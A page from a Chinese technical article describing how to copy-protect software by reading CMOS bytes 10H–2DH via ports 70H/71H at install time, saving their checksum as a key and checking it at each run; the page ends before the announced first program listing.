如果想要限定软件只在固定的机器上运行,可以在软件的安装时把当前机器CMOS中的内容读出,作为密钥以文件的形式保存到安装盘上.在软件运行时自动检查当前正在运行程序机器的CMOS中内容是否与安装盘上保存的密钥相同.如果检查结果不正确,则证明已经不是原来安装软件的那台机器,运行的软件不是安装到硬盘的,是非法拷贝过来,必须终止软件运行,从而达到了加密软件防止非法拷贝的目的. 在CMOS的128个字节单元中,00H-0FH字节单元中的数据随机性太强,不易作为密钥.1BH~2DH,34H~3FH,40H~7FH是CMOS的保留单元.不同的BIOS版本对此保留单元设置不一样.根据笔者的观察,AST系列原装机BIOS对此单元填充数据为0.COMPAQ系列原装机和采用AWARD,AMI等BIOS的机器对此单元均填充不同的数据.2EH,2FH单元中存放的是10H~2DH单元中各字节的校验和.系统每次引导时要读取CMOS信息,同时还要检查10H~2DH单元中的各字节的校验和是否与2EH,2FH单元中的数据相同,不同则提示CMOS中数据有错.因涉及到保留单元,不建议作为密钥.30H~33H单元内容无法区分不同配置的机器,可以不用考虑. 只有CMOS的10H~2DH单元中内容涉及到软盘,硬盘,内存,显示卡等最基本的硬件配置.实际应用中软,硬件配置完全相同的机器几乎是不存在的,所以可以采用CMOS中的内容作为密钥进行检查,完全可以做到加密软件,防止对软件的非法拷贝. 三,实现方法 在计算机系统中,对CMOS中数据的读写是通过两个I/O端口来实现的,其中,端口70H是一个字节的只写端口,用它来设置CMOS中的数据地址;而端口71H是用来读写端口70H设置的CMOS地址中的数据单元字节内容.所以在读写CMOS数据时,可以通过70H端口写入一个地址值,再通过71H端口读出一个数据,对软件的加密就是通过这个来实现的. 在利用CMOS加密软件的过程中,一般需要编制两段程序:一段程序的功能为在安装程序中保存CMOS内容作为密钥;另一段程序的功能为在软件主程序中检测密钥是否存在及正确,在每次运行该软件时都调用此段程序. 本文采用的密钥检查方法是"校验和法".所谓校验和法是指先对全部信息或部分信息计算出一个累加和,作为密钥存放在安装盘上.当软件运行时对所检查信息部分再计算一个累加和,两者进行比较,一致时才能正确执行.一旦发现不一致,则可作一些处理,终止软件运行.因为一台机器配置改变,校验和必然发生变化. 程序1:将CMOS中10H~2DH单元中的数据的校验和作为密钥写入到安装软盘上的某个文件中.使用时将此段程序嵌入到软件的安装程序中.
1 下一页